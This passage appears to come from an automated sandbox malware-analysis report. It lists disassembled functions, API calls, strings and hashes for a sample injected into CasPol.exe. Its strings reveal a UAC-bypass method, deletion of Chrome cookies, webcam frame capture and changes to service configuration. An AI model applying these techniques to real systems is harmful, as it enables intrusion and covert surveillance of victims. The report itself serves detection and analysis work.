                                                                                                                                                                                                  • Instruction Fuzzy Hash: C111D231402704AAE621BB72CC03FCB779CAF03304F454D2EBEA967153C7ACB4185654
                                                                                                                                                                                                  Function 1000925D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 10009221: _free.LIBCMT ref: 1000924A
                                                                                                                                                                                                  • _free.LIBCMT ref: 100092AB
                                                                                                                                                                                                    • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                                                                                                                                                                                                    • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                                                                                                  • _free.LIBCMT ref: 100092B6
                                                                                                                                                                                                  • _free.LIBCMT ref: 100092C1
                                                                                                                                                                                                  • _free.LIBCMT ref: 10009315
                                                                                                                                                                                                  • _free.LIBCMT ref: 10009320
                                                                                                                                                                                                  • _free.LIBCMT ref: 1000932B
                                                                                                                                                                                                  • _free.LIBCMT ref: 10009336
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                                                  • Opcode ID: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                                                                                                                                                                                                  • Instruction ID: 62dea9ede071ec04ae7e8d39c2d2a9b8d59ba4565e42afa4a1a73bd13a3591d1
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3E118E35548B08FAFA20EBB0EC47FCB7B9DEF04780F400824BA9DB6097DA25B5249751
                                                                                                                                                                                                  Function 0041119E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 004111AB
                                                                                                                                                                                                  • int.LIBCPMT ref: 004111BE
                                                                                                                                                                                                    • Part of subcall function 0040E0FC: std::_Lockit::_Lockit.LIBCPMT ref: 0040E10D
                                                                                                                                                                                                    • Part of subcall function 0040E0FC: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E127
                                                                                                                                                                                                  • std::_Facet_Register.LIBCPMT ref: 004111FE
                                                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00411207
                                                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00411225
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                                                                                                                                  • String ID: (mG
                                                                                                                                                                                                  • API String ID: 2536120697-4059303827
                                                                                                                                                                                                  • Opcode ID: 1b5c7adf1a629fe2bc242511ea8b9d41abd54e1fd7f2f3a966b13196985dc313
                                                                                                                                                                                                  • Instruction ID: b4facbf35e110c19f3eede998f69f9310dce987b63f856d60fe44c7d5fb17b17
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1b5c7adf1a629fe2bc242511ea8b9d41abd54e1fd7f2f3a966b13196985dc313
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 42112732900114A7CB14EB9AD8018DEB7699F44364F11456FF904F72E1DB789E45CBC8
                                                                                                                                                                                                  Function 0043A3DA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,0043A3D1,0043933E), ref: 0043A3E8
                                                                                                                                                                                                  • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A3F6
                                                                                                                                                                                                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40F
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,0043A3D1,0043933E), ref: 0043A461
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLastValue___vcrt_
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3852720340-0
                                                                                                                                                                                                  • Opcode ID: 786e665d26cf754d1d2cf441f113ccf6d654ddd054b4af6544b9cbcea7eecff9
                                                                                                                                                                                                  • Instruction ID: 228fd8bb196f6ae1284969ba5442ea73dc67404c1df350b3d70410c0baad6fb0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 786e665d26cf754d1d2cf441f113ccf6d654ddd054b4af6544b9cbcea7eecff9
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 87019C322483515EA61027797C8A62B2648EB293B9F30523FF518805F1EF984C90910D
                                                                                                                                                                                                  Function 004075EB Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CoInitializeEx.OLE32(00000000,00000002), ref: 0040760B
                                                                                                                                                                                                    • Part of subcall function 00407538: _wcslen.LIBCMT ref: 0040755C
                                                                                                                                                                                                    • Part of subcall function 00407538: CoGetObject.OLE32(?,00000024,00466528,00000000), ref: 004075BD
                                                                                                                                                                                                  • CoUninitialize.OLE32 ref: 00407664
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: InitializeObjectUninitialize_wcslen
                                                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                                                                                                                                                                                  • API String ID: 3851391207-2637227304
                                                                                                                                                                                                  • Opcode ID: d877cea0863f9d3afa12868748af2f8600b5022738d517222c004e226c4c5a05
                                                                                                                                                                                                  • Instruction ID: e4e7d1672fbddd81374e29e92f863be8f9bad83f72bb7a306ddb251afa86686e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d877cea0863f9d3afa12868748af2f8600b5022738d517222c004e226c4c5a05
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4501D272B087116BE2246B65DC4AF6B3748DB41B25F11053FF901A62C1EAB9FC0146AB
                                                                                                                                                                                                  Function 0040BADC Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BB18
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040BB22
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • [Chrome Cookies not found], xrefs: 0040BB3C
                                                                                                                                                                                                  • UserProfile, xrefs: 0040BAE8
                                                                                                                                                                                                  • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAE3
                                                                                                                                                                                                  • [Chrome Cookies found, cleared!], xrefs: 0040BB48
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DeleteErrorFileLast
                                                                                                                                                                                                  • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                                                                                                                                                                                  • API String ID: 2018770650-304995407
                                                                                                                                                                                                  • Opcode ID: e57bb7af6ede7258cae938a4b9e303b9ad2d55d8c8bd3889b57b796562934694
                                                                                                                                                                                                  • Instruction ID: 5dee569c6883bfd73109a670bb68234af0f28e4caad238985ba957b2c74b96e7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e57bb7af6ede7258cae938a4b9e303b9ad2d55d8c8bd3889b57b796562934694
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5B01DF71A402055BCA04B7B6CC1B9BE7B24E922704B50017FF502726D6FE3E5D0986CE
                                                                                                                                                                                                  Function 0043AB5C Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __allrem.LIBCMT ref: 0043ACE9
                                                                                                                                                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AD05
                                                                                                                                                                                                  • __allrem.LIBCMT ref: 0043AD1C
                                                                                                                                                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AD3A
                                                                                                                                                                                                  • __allrem.LIBCMT ref: 0043AD51
                                                                                                                                                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AD6F
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1992179935-0
                                                                                                                                                                                                  • Opcode ID: 3b7debe300bd30616e6d17b60b5e1d5511deed8aaa3e59a787e888dcedb96ab2
                                                                                                                                                                                                  • Instruction ID: c7cd181284538591ee8af1586cca3d38175ba7b34bac8e5aa56d350f01832762
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3b7debe300bd30616e6d17b60b5e1d5511deed8aaa3e59a787e888dcedb96ab2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5F815972A40B05ABE7209F29CC41B6FB3A99F48324F24152FF591D67C1E77CE910875A
                                                                                                                                                                                                  Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • Sleep.KERNEL32(00000000,0040D29D), ref: 004044C4
                                                                                                                                                                                                    • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: H_prologSleep
                                                                                                                                                                                                  • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                                                                                                                                                                                                  • API String ID: 3469354165-3054508432
                                                                                                                                                                                                  • Opcode ID: 323de87823cfac7101cea253b912e8b03e790dc3d76716ef327c4a333c2edfc0
                                                                                                                                                                                                  • Instruction ID: df1e58e957a7578ae16e417911435538e3341edc64810737793f4aa4f8849b6c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 323de87823cfac7101cea253b912e8b03e790dc3d76716ef327c4a333c2edfc0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A751E171A042106BCA14FB369D0A66E3755ABC4748F00443FFA0A676E2DF7D8E45839E
                                                                                                                                                                                                  Function 0044597A Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: __cftoe
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 4189289331-0
                                                                                                                                                                                                  • Opcode ID: df708042516445aa89903c6330052172adb2df4233c064de01baf1be20d0a2ef
                                                                                                                                                                                                  • Instruction ID: b93b8478136607885b926496a305f1bfb884a7f6acf724e610c81469f19cb9e5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: df708042516445aa89903c6330052172adb2df4233c064de01baf1be20d0a2ef
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2551FD72500605ABFF209B598C81EAF77A8EF45334F25421FF915A6293DB3DD900C66D
                                                                                                                                                                                                  Function 100015DA Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _strlen.LIBCMT ref: 10001607
                                                                                                                                                                                                  • _strcat.LIBCMT ref: 1000161D
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,1000190E,?,?,00000000,?,00000000), ref: 10001643
                                                                                                                                                                                                  • lstrcatW.KERNEL32(?,?), ref: 1000165A
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,?,?,1000190E,?,?,00000000,?,00000000,?,?,?,00000104,?), ref: 10001661
                                                                                                                                                                                                  • lstrcatW.KERNEL32(00001008,?), ref: 10001686
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: lstrcatlstrlen$_strcat_strlen
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1922816806-0
                                                                                                                                                                                                  • Opcode ID: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                                                                                                                                                                                                  • Instruction ID: a267a6945d1554df97f4c8e17fbec8689bbb0548aac84132402ab8fad08d9bbc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 315c55c979a72bdf3ac51594b752bef976f460307e9923370b73d2b1bd80b905
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9821A776900204ABEB05DBA4DC85FEE77B8EF88750F24401BF604AB185DF34B94587A9
                                                                                                                                                                                                  Function 10001000 Relevance: 9.1, APIs: 6, Instructions: 76stringCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • lstrcatW.KERNEL32(?,?), ref: 10001038
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 1000104B
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,?,00000000), ref: 10001061
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 10001075
                                                                                                                                                                                                  • GetFileAttributesW.KERNEL32(?,?,?,00000000), ref: 10001090
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?,?,?,00000000), ref: 100010B8
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: lstrlen$AttributesFilelstrcat
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3594823470-0
                                                                                                                                                                                                  • Opcode ID: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                                                                                                                                                                                                  • Instruction ID: f5da6160d3db499da992451a69b84f141dc83571de07cfa19ff2ab3d93a8fd2c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c62e9e5fa69f7526a4dcdb62aa87bf44082eca201cfcddb2e536fed9ba73336f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DB21E5359003289BEF10DBA0DC48EDF37B8EF44294F104556E999931A6DE709EC5CF50
                                                                                                                                                                                                  Function 0041AD09 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A41F,00000000), ref: 0041AD19
                                                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A41F,00000000), ref: 0041AD2D
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A41F,00000000), ref: 0041AD3A
                                                                                                                                                                                                  • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A41F,00000000), ref: 0041AD6F
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A41F,00000000), ref: 0041AD81
                                                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A41F,00000000), ref: 0041AD84
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 493672254-0
                                                                                                                                                                                                  • Opcode ID: f0f747c63b9e12e72378a2591e571a85e7fda5b6d41ee6cbe89889ce84539f3f
                                                                                                                                                                                                  • Instruction ID: 77e668261cf9ee2bd18e5a0e87596c089765e66a1be6d3c981f75cbf7ed2a716
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f0f747c63b9e12e72378a2591e571a85e7fda5b6d41ee6cbe89889ce84539f3f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A7016D311462157AD6111B34AC4EFFB3B6CDB02772F10032BF625965D1DA68CE8195AB
                                                                                                                                                                                                  Function 10003856 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,10003518,100023F1,10001F17), ref: 10003864
                                                                                                                                                                                                  • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003872
                                                                                                                                                                                                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1000388B
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,10003518,100023F1,10001F17), ref: 100038DD
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLastValue___vcrt_
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3852720340-0
                                                                                                                                                                                                  • Opcode ID: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                                                                                                                                                                                                  • Instruction ID: 2a33bd680f99e964f7cdf1ea0b0e713dcb61597015083b2077453114c578dac0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 669731f2127195b9a905fed2c89c9d5b837464d933d8447bfa53086d9201cd33
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0F012432608B225EF207D7796CCAA0B2BDDDB096F9B20C27AF510940E9EF219C009300
                                                                                                                                                                                                  Function 00448295 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                  • _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                  • _free.LIBCMT ref: 004482F4
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 00448301
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                  • _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$_free$_abort
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3160817290-0
                                                                                                                                                                                                  • Opcode ID: 0dc6b6a3e4ae5b17dec3dccad88ee1f92140bcc2d5108ccd544116d6be2417e2
                                                                                                                                                                                                  • Instruction ID: 8d34d3ffa9a8a5ca7629c839d325bdddc3ef58a145117f7ac1d0225592351e3a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0dc6b6a3e4ae5b17dec3dccad88ee1f92140bcc2d5108ccd544116d6be2417e2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8EF0A435101B006BF611772A6C06B6F26599BD3B69F36042FFD18962D2EF6DCC42816D
                                                                                                                                                                                                  Function 10005AF6 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,10006C6C), ref: 10005AFA
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005B2D
                                                                                                                                                                                                  • _free.LIBCMT ref: 10005B55
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B62
                                                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,?,10006C6C), ref: 10005B6E
                                                                                                                                                                                                  • _abort.LIBCMT ref: 10005B74
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$_free$_abort
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3160817290-0
                                                                                                                                                                                                  • Opcode ID: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                                                                                                                                                                                                  • Instruction ID: 6ab9c425fee0725613b21b3b36aaf5e4259b246f4cabca8c388d0d7fb541d563
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c9cb188a03aa1811073f11ee06fa520bea6a831bfab7ff5292fc2b03e8e202de
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8FF0A47A508911AAF212E3346C4AF0F36AACBC55E3F264125F918A619DFF27B9024174
                                                                                                                                                                                                  Function 0041AB37 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                                                                                                                                                                  Download Yara Rule
